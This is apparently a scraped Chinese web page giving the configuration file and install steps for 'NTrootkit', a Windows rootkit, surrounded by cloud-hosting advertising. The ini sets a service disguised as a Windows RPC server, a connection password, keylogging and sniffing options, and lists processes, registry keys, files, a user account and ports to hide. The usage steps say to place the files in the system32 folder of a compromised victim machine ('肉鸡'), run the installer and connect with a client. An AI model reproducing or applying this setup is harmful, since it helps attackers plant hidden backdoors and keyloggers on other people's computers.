扫二维码与项目经理沟通
我们在微信上24小时期待你的声音
解答本文疑问/技术咨询/运营咨询/技术建议/互联网交流
NTrootkit
一，配置方法
\\filename:ntrootkit.ini
\\This is the init file of yyt_hac's ntrootkit,please modify it correctly or the rootkit
\\can't be installed!!!
[GLOBAL] //下面为配置内容
\\servicename is the ntrootkit 's servicename
servicename=tsserver //服务名
servdispname=rpcsvr
servdescription=windows system rpc server
installdir=com\sserver //安装目录
connpass=12345 //连接密码
appname=51cto.exe
keylog=0 //0为不记录键盘
workmode=1 //0为sniffer模式
[HIDDEN PROCNAME] //要隐藏的服务名
51cto
[HIDDEN REGKEY] //要隐藏的注册表键
zero\soft\...\...\xxx
[HIDDEN REGVALUE] //要隐藏的注册表键值
zero\soft\...\...
[HIDDEN FILEDIR] //要隐藏的文件目录
c:\rootkit
[HIDDEN SERVICE] //要隐藏的服务名
servicert
[HIDDEN USER] //要隐藏的用户名
zerosecurity
[HIDDEN TCPPORT] //要隐藏的tcp端口
tcpport=5768
[HIDDEN UDPPORT] //要隐藏的udp端口
udpport=4000
二，使用方法
①：将配置文件 .ini和服务端ntrootkit.exe放入肉鸡的 system32目录下，然后运行ntrootkit.exe安装；ntrootkit -u password 可卸载；
②：客户端用rtclient连接；
另外有需要云服务器可以了解下创新互联scvps.cn，海内外云服务器15元起步，三天无理由+7*72小时售后在线，公司持有idc许可证，提供“云服务器、裸金属服务器、高防服务器、香港服务器、美国服务器、虚拟主机、免备案服务器”等云主机租用服务以及企业上云的综合解决方案，具有“安全稳定、简单易用、服务可用性高、性价比高”等特点与优势，专为企业上云打造定制，能够满足用户丰富、多元化的应用场景需求。
我们在微信上24小时期待你的声音
解答本文疑问/技术咨询/运营咨询/技术建议/互联网交流
微信二维码
移动版官网